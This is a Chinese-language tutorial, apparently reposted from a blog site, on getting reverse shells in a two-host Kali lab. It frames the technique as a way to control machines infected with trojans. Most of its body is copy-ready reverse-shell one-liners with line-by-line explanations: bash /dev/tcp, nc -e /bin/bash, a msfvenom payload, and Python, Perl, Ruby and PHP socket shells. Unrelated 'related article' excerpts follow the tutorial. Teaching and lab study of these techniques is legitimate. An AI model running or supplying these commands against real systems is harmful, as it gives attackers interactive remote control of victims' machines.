反弹shell的N种姿势

预备知识
1.   关于反弹shell
就是控制端监听在某TCP/UDP端口,被控端发起请求到该端口,并将其命令行的输入输出转到控制端。reverse shell与telnet,ssh等标准shell对应,本质上是网络概念的客户端与服务端的角色反转。

2.   反弹shell的原因
通常用于被控端因防火墙受限、权限不足、端口被占用等情形

假设我们攻击了一台机器,打开了该机器的一个端口,攻击者在自己的机器去连接目标机器(目标ip:目标机器端口),这是比较常规的形式,我们叫做正向连接。远程桌面,web服务,ssh,telnet等等,都是正向连接。那么什么情况下正向连接不太好用了呢?

      1)某客户机中了你的网马,但是它在局域网内,你直接连接不了。

      2)它的ip会动态改变,你不能持续控制。

      3)由于防火墙等限制,对方机器只能发送请求,不能接收请求。

      4)对于病毒,木马,受害者什么时候能中招,对方的网络环境是什么样的,什么时候开关机,都是未知,所以建立一个服务端,让恶意程序主动连接,才是上策。

那么反弹就很好理解了,攻击者指定服务端,受害者主机主动连接攻击者的服务端程序,就叫反弹连接。

实验环境
Kali两台

hostA:10.1.1.100

hostB:10.1.1.101

实验步骤一
反弹shell是外网渗透的最后一步,也是内网渗透的第一步,本次实验不针对具体的某次渗透过程,重点在于针对反弹shell常见下的功能实现以及原理理解。

      先来看两台机器ip

      攻击机(称主机A)

 
      靶机(称主机B)


  
      bash直接反弹
      在主机A使用nc监听 ,命令:nc -lvvp 123
   
    
      在主机B上使用bash直接反弹,命令:bash -i >& /dev/tcp/10.1.1.100/123 0>&1
   
      此时主机A收到shell了
    
      这种方式是完全从原理出发,而且涉及到linux的一些本质知识点,所以展开来具体说一下。

      关键点在主机B上执行的那一句话。

      1. Bash –I  即产生一个bash交互环境

      2. >&     

         1)当>&后面接文件时,表示将标准输出和标准错误输出重定向至文件

         2)当>&后面接文件描述符时,表示将前面的文件描述符重定向至后面的文件描述符

      3. /dev/tcp/10.1.1.100/123  让主机B与主机A(10.1.1.100)进行tcp连接,端口为123(注:linux下所有内容都以文件形式组织存在,所以看到/dev/tcp不用感到奇怪,它是Linux中的一个特殊设备,打开这个文件就相当于进行了一个socket调用,建立一个socket连接)

      >& 后面接 /dev/tcp/ip/port,根据3的注释和2的注释1)部分可知,意思为将标准输出和标准错误输出重定向到这个文件,重定向到socket连接的远程主机A上,此时如果主机A正在监听相应的端口,就会收到主机B的bash的标准输出和标准错误输出

      4. 0>&1 将标准输入重定向到标准输出,而标准输出在之前已经重定向到主机A了,添加这一部分是因为如果没有这一部分,在主机A上只能接收输出,而无法输入,或者说无法交互,添加上这一部分后,在主机A看来,就相当于拿到了主机B的shell

      (注:0 - stdin 代表标准输入,使用<或<<

          1 - stdout 代表标准输出,使用>或>>

          2 - stderr 代表标准错误输出,使用2>或2>>)

      根据分析我们可以修改一下这句话,看看是否如我们分析的这样

      1)将0>&1修改为0>&2
      同样现在主机A开启监听,命令:nc -lvvp 123

      主机B修改后执行,命令:bash -i >& /dev/tcp/10.1.1.100/123 0>&2
   
      主机A同样的效果


      2)不添加 0>&2
      主机A连接,命令:nc -lvvp 123

  
      主机B修改后运行,命令:bash -i >& /dev/tcp/10.1.1.100/123

      主机A同样建立了连接,但是输入命令是没有效果的

      在主机B中输入命令时,主机B没有回显,回显出现在主机A上,命令执行后的回显也是在主机A上

      这正好说明了缺失第4部分的内容时,主机A只能标准输出和标准错误输出,没有标准输入,这一部分的知识点非常重要,好好理解。

实验步骤二
利用nc
      主机A开启监听,命令:nc -lvvp 1234

      主机B反弹一句话,命令:nc 10.1.1.100 1234 -t -e /bin/bash

      命令的意思是:使用nc命令直接建立一个tcp 1234 的会话连接,然后将本地的bash通过这个会话连接反弹给目标主机
      此时反弹成功
     
利用msfvenom

      在主机A上使用msfvenom –l进行搜索相关payload

      结合关键字进行过滤,优化搜索结果
      本次要用到的是反弹shell相关的payload,所以关键字为'cmd/unix/reverse',配合grep进行匹配即可
      则输入如下命令:msfvenom -l payloads | grep 'cmd/unix/reverse'

      从结果中可以看到有许多实现的方式,包括lua、nodej、perl等,为什么会有这么多方式呢?这是为了适应不同靶机的需求,可能目标靶机上只有perl的执行环境,那么就可以使用perl实现的反弹shell的payload,如果靶机上只有python的环境,那么就使用python实现的payload,此处以python为例。选定payload后,设置后本机的ip和监听的端口
      命令:msfvenom -p cmd/unix/reverse_python lhost=10.1.1.100 lport=1234


      然后主机A上启动nc进行监听

      切换到主机B,在终端输入msfvenom给出的payload

      回车执行,即可在主机A上收到反弹的shell

      事实上,这部分的payload解码后就是python的一段脚本

      具体语言的反弹shell功能的实现会在下一部分提及

实验步骤三
具体语言实现
      先看python的
      还是现在主机A上监听,命令nc -lvvp 123

      然后主机B上执行python,命令python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('10.1.1.100',123));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i'])"

      此时在主机A上就收到反弹shell了

      我们分析下这段脚本的内容

      s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('192.168.0.105',123))   建立socket连接

      os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2); 使用了os模块的dup2函数和socket模块的fileno函数

      fileno函数:返回套接字的文件描述符fd,如果从shell中运行一个进程,默认会有3个文件描述符存在(0、1、2), 0与进程的标准输入相关联,1与进程的标准输出相关联,2与进程的标准错误输出相关联。

      Dup2函数:dup2传入两个文件描述符,f1和f2(f1是必须存在的),如果f2存在,就关闭f2,然后将f1代表的那个文件强行复制给f2,f2这个文件描述符不会发生变化,但是fd2指向的文件就变成了f1指向的文件。这个函数最大的作用是重定向

      这句的代码的作用就是将fd2指向s.fileno(),而fileno()返回的是建立socket连接返回的文件描述符fd,也就是将将标准输入、标准输出、标准错误输出重定向到远程

      p=subprocess.call(['/bin/bash','-i'])  使用subprocess在本地开启子进程,同时传入“i“使得bash以交互模式启动

      经过以上代码的功能整合,在主机A就相当于接收到了主机B的shell

      其他语言的实现也是同样的道理,关键的点都在于建立socket连接以及之后的交互实现

1)perl语言的

      perl -e 'use Socket;$i="10.1.1.100";$p=123;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'


2)ruby语言的
      ruby -rsocket -e 'exit if fork;c=TCPSocket.new("10.1.1.100","123");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'


3)php语言

      最简单的是利用php的exec函数直接执行第一部分的那条bash反弹的命令,不过更常见的是这条命令

php -r '$sock=fsockopen("10.1.1.100",123);exec("/bin/bash -i 0>&3 1>&3 2>&3");'

      3代表fsockopen函数建立socket连接后返回的文件描述符,在exec函数中进行重定向,其中的0,1,2分别是前面提到的标准输入、标准输出、标准错误输出。原理与前面分析的一致。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/24970.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

webpack性能优化

文章目录 1. 性能优化-分包2. 动态导入3. 自定义分包4. Prefetch和Preload5. CDN加载配置6. CSS的提取7. terser压缩7.1 Terser在webpack中配置7.2 css压缩 8. Tree Shaking 消除未使用的代码8.1 usedExports 配置8.2 sideEffects配置8.3 CSS实现Tree Shaking 9. Scope Hoistin…

k8s概念-污点与容忍

k8s 集群中可能管理着非常庞大的服务器&#xff0c;这些服务器可能是各种各样不同类型的&#xff0c;比如机房、地理位置、配置等&#xff0c;有些是计算型节点&#xff0c;有些是存储型节点&#xff0c;此时我们希望能更好的将 pod 调度到与之需求更匹配的节点上。 此时就需要…

人工智能在心电信号分类中的应用

目录 1 引言 2 传统机器学习中的特征提取与选择 3 深度学习中的特征提取与选择

ROS2学习(五)进程内topic高效通信

对ROS2有一定了解后&#xff0c;我们会发现ROS2中节点和ROS1中节点的概率有很大的区别。在ROS1中节点是最小的进程单元。在ROS2中节点与进程和线程的概念完全区分开了。具体区别可以参考 ROS2学习(四)进程&#xff0c;线程与节点的关系。 在ROS2中同一个进程中可能存在多个节点…

并查集练习 — 扩展问题(二)

根据并查集练习 —岛屿数量的问题再次扩展&#xff1a; 原题是给定一个二维数组matrix&#xff08;char[][]&#xff09;&#xff0c;里面的值不是1就是0&#xff0c;上、下、左、右相邻的1认为是一片岛。返回matrix中岛的数量。 扩展为&#xff1a;如果是中国的地图&#xff0…

Xposed回发android.os.NetworkOnMainThreadException修复

最近用xposed进行hook回发的时候&#xff0c;又出现了新的问题&#xff1b; android.os.NetworkOnMainThreadException&#xff1b; 在Android4.0以后&#xff0c;写在主线程&#xff08;就是Activity&#xff09;中的HTTP请求&#xff0c;运行时都会报错&#xff0c;这是因为…

移动开发最佳实践:为 Android 和 iOS 构建成功应用的策略

您可以将本文作为指南&#xff0c;确保您的应用程序符合可行的最重要标准。请注意&#xff0c;这份清单远非详尽无遗&#xff1b;您可以加以利用&#xff0c;并添加一些自己的见解。 了解您的目标受众 要制作一个成功的应用程序&#xff0c;你需要了解你是为谁制作的。从创建…

API接口:企业信息核验

企业信息核验是现代企业管理中必不可少的一项业务&#xff0c;它可以帮助企业做出正确的决策。在这篇文章里&#xff0c;我们将会介绍如何使用API接口来对企业信息进行核验&#xff0c;并实现快捷、准确的查询。 一、API接口 在这里我们使用的是挖数据提供的企业信息核验API接…

SQL-方法论

写SQL时可以考虑的手段&#xff1a; 行转列 先分为多个临时表&#xff0c;然后JOIN到一起 select uid,t1.name YuWen,t2.name ShuXue from (select uid,namefrom tableAwhere naem 语文) t1join (select uid,namefrom tableAwhere naem 数学) t2on t1.uid t2.uid; 用sum(if…

数据结构 10-排序6 Sort with Swap(0, i)(C语言)

10-排序6 Sort with Swap(0, i) Given any permutation of the numbers {0, 1, 2,..., N−1}, it is easy to sort them in increasing order. But what if Swap(0, *) is the ONLY operation that is allowed to use? For example, to sort {4, 0, 2, 1, 3} we may apply the…

arm交叉编译lmbench

一、下载lmbench www.bitmover.com/lmbench 官网下载&#xff0c;http://www.bitmover.com/lmbench/lmbench3.tar.gz 我没有下载下来&#xff0c;找的别人的百度云下载 链接: https://pan.baidu.com/s/1tGo1clCqY-jQPN8G1eWSsg 提取码: f6jd 二、修改makefile 修改三个文件…

Last-Mile Embodied Visual Navigation 论文阅读

论文阅读 题目&#xff1a;Last-Mile Embodied Visual Navigation 作者&#xff1a;JustinWasserman, Karmesh Yadav 来源&#xff1a;CoRL 时间&#xff1a;2023 代码地址&#xff1a;https://jbwasse2.github.io/portfolio/SLING Abstract 现实的长期任务&#xff08;例如…

W5500-EVB-PICO做DNS Client进行域名解析(四)

前言 在上一章节中我们用W5500-EVB-PICO通过dhcp获取ip地址&#xff08;网关&#xff0c;子网掩码&#xff0c;dns服务器&#xff09;等信息&#xff0c;给我们的开发板配置网络信息&#xff0c;成功的接入网络中&#xff0c;那么本章将教大家如何让我们的开发板进行DNS域名解析…

小程序 view下拉滑动导致scrollview滑动事件失效

小程序页面需要滑动功能 下拉时滑动&#xff0c;展示整个会员卡内容&#xff0c; 下拉view里包含了最近播放&#xff1a;有scrollview&#xff0c;加了下拉功能后&#xff0c;scrollview滑动失败了。 <view class"cover-section" catchtouchstart"handletou…

CS 144 Lab Four 收尾 -- 网络交互全流程解析

CS 144 Lab Four 收尾 -- 网络交互全流程解析 引言Tun/Tap简介tcp_ipv4.cc文件配置信息初始化cs144实现的fd家族体系基于自定义fd体系进行数据读写的adapter适配器体系自定义socket体系自定义事件循环EventLoop模板类TCPSpongeSocket详解listen_and_accept方法_tcp_main方法_in…

注解 @JsonFormat 与 @DateTimeFormat 的使用

文章目录 JsonFormat (双端互传)DateTimeFormat &#xff08;前端传后端日期格式转化&#xff09;情况一 前端是时间组件 <el-date-picker 或其他情况二 前端未设置组件 JsonFormat (双端互传) com.fasterxml.jackson.annotation.JsonFormat; 将字符串的时间转换成Date类型…

webSocket 与传统的 http 有什么优势

webSocket 与传统的 http 有什么优势 当页面中需要观察实时数据的变化&#xff08;比如聊天、k 线图&#xff09;时&#xff0c;过去我们往往使用两种方式完成 第一种是短轮询&#xff0c;即客户端每隔一段时间就向服务器发送消息&#xff0c;询问有没有新的数据 第二种是长轮询…

[整合]无root权限的服务器上安装screen

安装ncurses 命令行输入以下指令安装ncurses&#xff0c;这个是安装screen的前置依赖包。 wget http://ftp.gnu.org/gnu/ncurses/ncurses-6.0.tar.gz #下载所需的ncurses版本tar zxvf ncurses-6.0.tar.gz #解压到当前目录cd ncurses-6.0 #打开ncurses-6.0文件夹mkdi…

---------------- 部署 Zookeeper 集群 ----------------

部署 Zookeeper 集群 1.安装前准备2.安装 Zookeeper修改配置文件在每个节点上创建数据目录和日志目录在每个节点的dataDir指定的目录下创建一个 myid 的文件配置 Zookeeper 启动脚本 //准备 3 台服务器做 Zookeeper 集群 192.168.109.1 192.168.109.2 192.168.109.3 1.安装前准…

实现vscode上用gdb调试stm32

实现vscode上用gdb调试stm32 这周负责编写设备的某个模块&#xff0c;其中遇到了一些变量地址不正确的错误&#xff0c;按理这种底层变量错误用gdb一类的调试器就能很快查到&#xff0c;可是初入嵌入式一行&#xff0c;此C语言非彼C语言&#xff0c;对于gdb怎么对接到项目上根…